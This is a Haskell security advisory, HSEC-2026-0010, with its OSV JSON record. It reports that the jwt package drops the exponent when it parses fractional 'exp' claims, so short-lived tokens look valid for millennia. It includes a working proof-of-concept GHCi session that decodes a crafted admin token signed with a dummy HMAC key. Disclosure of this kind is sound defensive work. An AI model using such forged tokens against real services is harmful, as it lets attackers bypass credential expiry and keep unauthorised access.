hsec-2026-0010
osv_haskell# Improper parsing of fractional `NumericDate` from JWT `exp` claims Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body. PoC: ```haskell cabal repl --build-depends jwt==0.11.0 import Web.JWT :set -XOverloadedStrings let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret" let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o" -- { -- "sub": "1234567890", -- "name": "Honest Joe", -- "admin": true, -- "iat": 1790166786, -- "exp": 1790170386.0001 -- } λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit λ λλ ➔ whoops Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o") λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops Just 1790166786s λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops Just 17901703860001s ``` The encoded claim `exp = 1790170386.0001` is: 1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*); 2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev); 3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library. ``` >>> import Data.Time.Format.ISO8601 >>> import Data.Time.Clock.POSIX >>> >>> iso8601Show $ posixSecondsToUTCTime 1790166786 "2026-09-23T12:33:06Z" >>> >>> iso8601Show $ posixSecondsToUTCTime 17901703860001 "569252-05-30T12:40:01Z" ``` This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero. Since the standard `exp` claim carries credential expiration time: > ### [4.1.4][rfc-4.1.4]. "exp" (Expiration Time) Claim > > The "exp" (expiration time) claim identifies the expiration time on > or after which the JWT MUST NOT be accepted for processing. The > processing of the "exp" claim requires that the current date/time > MUST be before the expiration date/time listed in the "exp" claim. — this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs. [initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209 [rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2 [rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4 [scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"human_link": "https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md",
"osv": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json",
"source": "https://github.com/haskell/security-advisories/blob/generated/osv-export/2026/HSEC-2026-0010.json"
},
"ecosystem_specific": {
"affected_api": [
{
"module": "Web.JWT",
"name": "decode"
},
{
"module": "Web.JWT",
"name": "decodeAndVerifySignature"
}
]
},
"package": {
"ecosystem": "Hackage",
"name": "jwt",
"purl": "pkg:hackage/jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N",
"type": "CVSS_V3"
}
],
"versions": [
"0.1.0",
"0.1.1",
"0.10.0",
"0.10.1",
"0.11.0",
"0.2.0",
"0.2.1",
"0.3.0",
"0.4.0",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.6.0",
"0.7.0",
"0.7.1",
"0.7.2",
"0.8.0",
"0.9.0"
]
}
],
"database_specific": {
"home": "https://github.com/haskell/security-advisories",
"osvs": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export",
"repository": "https://github.com/haskell/security-advisories"
},
"details": "# Improper parsing of fractional `NumericDate` from JWT `exp` claims\n\nSince its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.\n\nPoC:\n\n```haskell\ncabal repl --build-depends jwt==0.11.0\n\nimport Web.JWT\n:set -XOverloadedStrings\n\nlet signer = VerifyHMACSecret \"dummy-signing-symmetric-hmac-key.not-so-secret\"\nlet exploit = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\"\n-- {\n-- \"sub\": \"1234567890\",\n-- \"name\": \"Honest Joe\",\n-- \"admin\": true,\n-- \"iat\": 1790166786,\n-- \"exp\": 1790170386.0001\n-- }\nλλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit\nλ\nλλ ➔ whoops\nVerified (JOSEHeader {typ = Just \"JWT\", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [(\"admin\",Bool True),(\"name\",String \"Honest Joe\")]}}) (Signature \"xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\")\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops\nJust 1790166786s\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops\nJust 17901703860001s\n```\n\nThe encoded claim `exp = 1790170386.0001` is:\n1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*\"... non-integer values can be represented.\"*);\n2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);\n3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library.\n ```\n >>> import Data.Time.Format.ISO8601\n >>> import Data.Time.Clock.POSIX\n >>>\n >>> iso8601Show $ posixSecondsToUTCTime 1790166786\n \"2026-09-23T12:33:06Z\"\n >>>\n >>> iso8601Show $ posixSecondsToUTCTime 17901703860001\n \"569252-05-30T12:40:01Z\"\n ```\nThis happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.\n\nSince the standard `exp` claim carries credential expiration time:\n\n> ### [4.1.4][rfc-4.1.4]. \"exp\" (Expiration Time) Claim\n> \n> The \"exp\" (expiration time) claim identifies the expiration time on\n> or after which the JWT MUST NOT be accepted for processing. The\n> processing of the \"exp\" claim requires that the current date/time\n> MUST be before the expiration date/time listed in the \"exp\" claim.\n\n— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.\n\n[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209\n[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2\n[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4\n[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2\n",
"id": "HSEC-2026-0010",
"modified": "2026-09-29T14:30:03.216576231Z",
"published": "2026-09-29T14:22:37Z",
"references": [
{
"type": "REPORT",
"url": "https://github.com/puffnfresh/haskell-jwt/issues/4"
},
{
"type": "FIX",
"url": "https://github.com/puffnfresh/haskell-jwt/pull/10"
}
],
"schema_version": "1.9.0",
"summary": "Improper parsing of fractional NumericDate from JWT exp claims"
}